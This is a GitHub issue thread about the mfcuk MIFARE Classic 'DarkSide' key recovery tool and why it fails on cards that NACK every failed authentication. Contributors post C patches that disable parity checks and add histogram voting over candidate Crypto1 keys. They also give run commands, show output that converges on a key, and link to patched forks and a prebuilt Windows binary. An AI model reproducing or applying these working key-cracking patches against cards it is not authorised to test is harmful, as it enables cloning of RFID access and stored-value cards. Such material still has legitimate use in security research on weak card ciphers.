Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Can't recover keys from 'weaker' cards #39

Open
Stewart8 opened this issue Jun 22, 2016 · 18 comments
Open

Can't recover keys from 'weaker' cards #39

Stewart8 opened this issue Jun 22, 2016 · 18 comments

Comments

@Stewart8
Copy link

Like many others, I was unable to recover any keys, even from 'blank' cards with 0xffffffffffff default keys, getting an indefinite number of 0x03 errors.

Attempting to debug, I discovered that my cards were responding with NACK to all failed authentication attempts, regardless of parity bits, as described in section 4.3 of http://eprint.iacr.org/2009/137.pdf .

It appears that mfcuk 0.3.8 has no logic to detect or handle this behavior, and gets confused by assuming that all 'hits' have good plaintext parity, even though (with this card type) most do not.

I don't know enough about cryptography to implement (or even understand) the elegant solution proposed in section 6.1 of the same paper.

However, I was able to recover keys by commenting out the parity checking logic in check_pfx_parity , putting candidate keys in a histogram table, and waiting until the same value was seen 4 times (with different nonces).

Sorry, I was just patching and don't have any production code for this method (and I know it's not the best method anyway).

The end result was that I got the desired data; many thanks for the program.

@unixpapers
Copy link

unixpapers commented Jun 24, 2016

Hi! You may write where your comment code? I'll have this error too

Find functintion and comment //good &= parity, what more needs to be done?
Please help me.


static struct Crypto1State *
check_pfx_parity(uint32_t prefix, uint32_t rresp, uint8_t parities[8][8],
                 uint32_t odd, uint32_t even, struct Crypto1State *sl) {
  uint32_t ks1, nr, ks2, rr, ks3, c, good = 1;

  for (c = 0; good && c < 8; ++c) {
    sl->odd = odd ^ fastfwd[1][c];
    sl->even = even ^ fastfwd[0][c];

    lfsr_rollback_bit(sl, 0, 0);
    lfsr_rollback_bit(sl, 0, 0);

    ks3 = lfsr_rollback_bit(sl, 0, 0);
    ks2 = lfsr_rollback_word(sl, 0, 0);
    ks1 = lfsr_rollback_word(sl, prefix | c << 5, 1);

    nr = ks1 ^(prefix | c << 5);
    rr = ks2 ^ rresp;

//    good &= parity(nr & 0x000000ff) ^ parities[c][3] ^ BIT(ks2, 24);
//    good &= parity(rr & 0xff000000) ^ parities[c][4] ^ BIT(ks2, 16);
    //good &= parity(rr & 0x00ff0000) ^ parities[c][5] ^ BIT(ks2,  8);
    //good &= parity(rr & 0x0000ff00) ^ parities[c][6] ^ BIT(ks2,  0);
    //good &= parity(rr & 0x000000ff) ^ parities[c][7] ^ ks3;
  }

  return sl + good;
}

@Stewart8
Copy link
Author

I made a lot of changes while troubleshooting and I'm not sure that the code below is correct; let me know whether it works for you.

First, to determine that the 'weaker' card was the problem, I added a counter for 4-bit (NACK) hits:

In mfcuk.c, after
uint32_t numAuthAttempts = 0; // Number of authentication attempts for Recovery of keys - used to statistics. TODO: implement proper statistics with timings, number of tries, etc.
added
uint32_t numHit4 = 0; // Number of 4-bit responses
after
if (res == 4) {
added
++numHit4;
and after
printf("diff Nt: %d\n", numSpoofEntries);
added
printf(" hit4: %d\n", numHit4);

Now if you run with -v 3, a weak card will show a 'hit4' count for every auth attempt.

I'll post another comment with the actual recovery code.

@Stewart8
Copy link
Author

Stewart8 commented Jun 24, 2016

To recover the key from the 'weak' card, I made a histogram of the high 24 bits of all 48-bit candidate keys and another histogram of the low 24 bits.

In mfcuk.c, after
extern int mfcuk_finger_db_entries;
added
uint8_t hicnt[1 << 24], locnt[1 << 24];
after
printf("\nRECOVER: ");
added
for (i = 0; i < (1 << 24); ++i)
hicnt[i] = locnt[i] = 0;

and after
states_list = lfsr_common_prefix(ptrFoundTagNonceEntry->spoofNrPfx, ptrFoundTagNonceEntry->spoofArEnc, ptrFoundTagNonceEntry->ks, ptrFoundTagNonceEntry->parBitsArr);
added
for (i = 0; (states_list) && ((states_list + i)->odd != 0 || (states_list + i)->even != 0) && (i < MAX_COMMON_PREFIX_STATES); i++) { current_state = states_list + i; lfsr_rollback_word(current_state, uiUID ^ ptrFoundTagNonceEntry->tagNonce, 0); crypto1_get_lfsr(current_state, &key_recovered); ++hicnt[(key_recovered >> 24) & 0xffffff]; ++locnt[key_recovered & 0xffffff]; } printf("%d candidates found, nonce %08x\n", i, ptrFoundTagNonceEntry->tagNonce); int maxhi = 0; int maxlo = 0; int maxhii = 0; int maxloi = 0; for (i = 0; i < (1 << 24); ++i) { if (hicnt[i] > maxhi){ maxhi = hicnt[i]; maxhii = i; } if (locnt[i] > maxlo){ maxlo = locnt[i]; maxloi = i; } } printf("maxhi=%d maxhii=%08x maxlo=%d maxloi=%08x\n", maxhi, maxhii, maxlo, maxloi);
Also, comment out in the loop below
flag_key_recovered = 1;

Now, try running, e.g.
mfcuk -O -R 0:A

With luck, you'll start seeing e.g.
maxhi=3 maxhii=000028cb maxlo=4 maxloi=00f46ffa
Wait until maxhi and maxlo get up to at least 5.
Then, try the key in mfoc or whatever. In this example it would be 0028cbf46ffa

Unfortunately, I've a bug where when there >1M candidates, it gets a segmentation fault. I was lazy and didn't fix it. If it happens again, just repeat the command and hope that you get maxhi and maxlo up to 5 or 6 before the fault hits.

@Stewart8
Copy link
Author

Somehow, the forum isn't rendering the large code block properly. Here are the added lines, without a code block:

    for (i = 0; (states_list) && ((states_list + i)->odd != 0 || (states_list + i)->even != 0) && (i < MAX_COMMON_PREFIX_STATES); i++) {
      current_state = states_list + i;
      lfsr_rollback_word(current_state, uiUID ^ ptrFoundTagNonceEntry->tagNonce, 0);
      crypto1_get_lfsr(current_state, &key_recovered);
      ++hicnt[(key_recovered >> 24) & 0xffffff];
      ++locnt[key_recovered & 0xffffff];
    }
    printf("%d candidates found, nonce %08x\n", i, ptrFoundTagNonceEntry->tagNonce);
    int maxhi = 0;
    int maxlo = 0;
    int maxhii = 0;
    int maxloi = 0;
    for (i = 0; i < (1 << 24); ++i) {
      if (hicnt[i] > maxhi){
        maxhi = hicnt[i];
        maxhii = i;
      }
      if (locnt[i] > maxlo){
        maxlo = locnt[i];
        maxloi = i;
      }
    }
    printf("maxhi=%d maxhii=%08x maxlo=%d maxloi=%08x\n", maxhi, maxhii, maxlo, maxloi);

@unixpapers
Copy link

unixpapers commented Jun 25, 2016

Thanks for your help.

Your code WORK! I'am HAPPY!!!!

./mfcuk -C -R 0:A

mfcuk - 0.3.8
Mifare Classic DarkSide Key Recovery Tool - 0.3
by Andrei Costin, zveriu@gmail.com, http://andreicostin.com

INFO: Connected to NFC reader: pn532_uart:/dev/ttyUSB0
VERIFY:
Key A sectors: 0 1 2 3 4 5 6 7 8 9 a b c d e f
Key B sectors: 0 1 2 3 4 5 6 7 8 9 a b c d e f

RECOVER: 0
.....
254592 candidates found, nonce 78882a2f
maxhi=3 maxhii=0030b0c5 maxlo=3 maxloi=00080e51
mfcuk: ERROR: mfcuk_key_recovery_block() (error code=0x03)
44928 candidates found, nonce 5578882a
maxhi=3 maxhii=000bee31 maxlo=3 maxloi=00080e51
mfcuk: ERROR: mfcuk_key_recovery_block() (error code=0x03)
354816 candidates found, nonce 5578882a
maxhi=4 maxhii=00895568 maxlo=3 maxloi=0000a513
mfcuk: ERROR: mfcuk_key_recovery_block() (error code=0x03)
153600 candidates found, nonce 688df49b
maxhi=4 maxhii=0030028f maxlo=4 maxloi=0016ef51
mfcuk: ERROR: mfcuk_key_recovery_block() (error code=0x03)
49152 candidates found, nonce a2701b19
maxhi=4 maxhii=0030028f maxlo=4 maxloi=0016ef51
mfcuk: ERROR: mfcuk_key_recovery_block() (error code=0x03)
59136 candidates found, nonce 02aa92c0
maxhi=5 maxhii=00ffffff maxlo=5 maxloi=00ffffff
mfcuk: ERROR: mfcuk_key_recovery_block() (error code=0x03)
206080 candidates found, nonce 32a03931
maxhi=6 maxhii=00ffffff maxlo=6 maxloi=00ffffff
mfcuk: ERROR: mfcuk_key_recovery_block() (error code=0x03)
40256 candidates found, nonce 78882a2f
maxhi=7 maxhii=00ffffff maxlo=7 maxloi=00ffffff
mfcuk: ERROR: mfcuk_key_recovery_block() (error code=0x03)
349440 candidates found, nonce a2701b19
maxhi=8 maxhii=00ffffff maxlo=8 maxloi=00ffffff
mfcuk: ERROR: mfcuk_key_recovery_block() (error code=0x03)
1344 candidates found, nonce 688df49b
maxhi=9 maxhii=00ffffff maxlo=9 maxloi=00ffffff
mfcuk: ERROR: mfcuk_key_recovery_block() (error code=0x03)
582400 candidates found, nonce 74d4445d
maxhi=10 maxhii=00ffffff maxlo=10 maxloi=00ffffff
mfcuk: ERROR: mfcuk_key_recovery_block() (error code=0x03)
126208 candidates found, nonce 8df49ba8
maxhi=11 maxhii=00ffffff maxlo=11 maxloi=00ffffff
mfcuk: ERROR: mfcuk_key_recovery_block() (error code=0x03)
789632 candidates found, nonce 5578882a
maxhi=12 maxhii=00ffffff maxlo=12 maxloi=00ffffff
mfcuk: ERROR: mfcuk_key_recovery_block() (error code=0x03)
.....

The corrected version of the files crapto1.c and mfcuk.c upload to git:
https://github.com/unixpapers/mfcuk

@franquitt
Copy link

we need to put a new level of verbose logs showing the output of your code. Great code and thank you!

@DrSchottky
Copy link

@Stewart8 thank you for your patch, it works on my weak mfc!
I made a patched fork that can handle up to 33M candidates without segfaulting (never crashed during my tests) and with configurable tolerance (maxhi/maxlo) through args, but It should be tested before a public pull.
If someone has a few tags to try it would be nice, so let me know!

@chrivers
Copy link

@DrSchottky I'd like to help test that

@DrSchottky
Copy link

@Stewart8 I replied by mail.

@Man-of-Wood
Copy link

@DrSchottky do you still have that patched fork? I'm running into the same problem and would like to test your fork with my cards.

If not, does anyone else have a repo up which can be used? I'm having trouble compiling this one under Kali.

@yelexin
Copy link

yelexin commented Apr 29, 2017

@Man-of-Wood
I got the same trouble on Kali. I just cant compile it. Im using Raspberry pi and pn532 to crack a fully encrypted card. But I can compile it successfully on Raspbian.

@whirlwind110
Copy link

good job!!!
thx!!!

@whirlwind110
Copy link

@Stewart8
thx
比心!

@isaac5395
Copy link

isaac5395 commented Nov 29, 2017

i need help to compile and install it on kali linux (live usb). i dont have any idea, i am a beginer

@SnoopyTools
Copy link

anyone have the binary of this patched version. I just cant get it to compile under linux or windows, keep getting errors and sick of trying. If someone could just upload the binary it would be so helpful. Thanks

@xavave
Copy link

xavave commented Feb 2, 2020

@droidnewbie2 windows version:
mfcuk_keyrecovery_darkside.zip

@hobeur
Copy link

hobeur commented Jul 31, 2020

Hi, if i want to script my mfcuk installation, can i use some fork that is up to date with this patch ?
Or you i have to manually create the file and replace it.
Thanks for your help
Edit :
found the answer here
the updated fork is there
https://github.com/DrSchottky/mfcuk
I already found my key !

@liwenjie119
Copy link

@droidnewbie2 windows version: mfcuk_keyrecovery_darkside.zip

when I use your windows version, it cannot work with PN532. It cannot found the device. I found your repo MifareOneTool-English](https://github.com/xcicode/MifareOneTool), but it also cannot found the device. xcicode/MifareOneTool works very well but it report the error :ERROR: mfcuk_key_recovery_block() (error code=0x03)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

14 participants